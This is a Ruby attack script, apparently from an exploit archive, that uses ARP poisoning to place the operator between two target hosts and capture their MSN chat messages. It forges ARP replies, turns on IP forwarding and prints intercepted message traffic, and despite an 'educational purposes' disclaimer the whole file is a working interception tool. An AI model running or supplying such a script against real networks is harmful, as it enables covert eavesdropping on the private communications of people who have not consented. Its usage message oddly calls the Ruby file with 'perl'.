| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. | #!/usr/bin/ruby -w
# by nobot (for educational purposes ... please feel free to improve)
# uses arp poisoning to sniff msn messages.
# supply your nic and the ip addresses of the targets you want to mitm.
# beware that screwing with arp might render the network useless
require 'rubyforger'
require 'pcap'
def get_arp(ip, mac, other_ip, other_mac)
EthPkt.new("dst"=> mac) +
ArpPkt.new("op"=>$ARPOP_REPLY, "sha"=>other_mac,
"spa"=>other_ip,"tha"=>mac, "tpa"=>ip)
end
begin
ARGV.size == 3 or raise 'perl arpvenom.rb dev ip_target1 ip_target2'
init(my_dev = ARGV.shift)
my_mac = $DEFAULT_MAC
ips = [ARGV.shift, ARGV.shift]
macs = [getmac(ips[0]), getmac(ips[1])]
evil_arps = [get_arp(ips[0], macs[0], ips[1], my_mac),
get_arp(ips[1], macs[1], ips[0], my_mac)]
nice_arps = [get_arp(ips[0], macs[0], ips[1], macs[1]),
get_arp(ips[1], macs[1], ips[0], macs[0])]
pid = fork do
cap = Pcaplet.new(" -s 1500 -i #{my_dev}")
cap.add_filter(Pcap::Filter.new('tcp and port 1863', cap.capture))
cap.each_packet do |pkt|
data = pkt.tcp_data
puts data if data =~ /MSG/ and data !~ /TypingUser:/
end
cap.close
end
do_poison = true
trap('INT') { do_poison = false} #shut down gently
%x[echo 1 > /proc/sys/net/ipv4/ip_forward]
while do_poison
evil_arps.each { |reply| reply.send }
15.times { break unless do_poison and sleep 2 }
end
nice_arps.each { |reply| reply.send } #heal the victims
%x[echo 0 > /proc/sys/net/ipv4/ip_forward]
Process.kill('TERM', pid)
Process.wait
rescue
puts $!
end |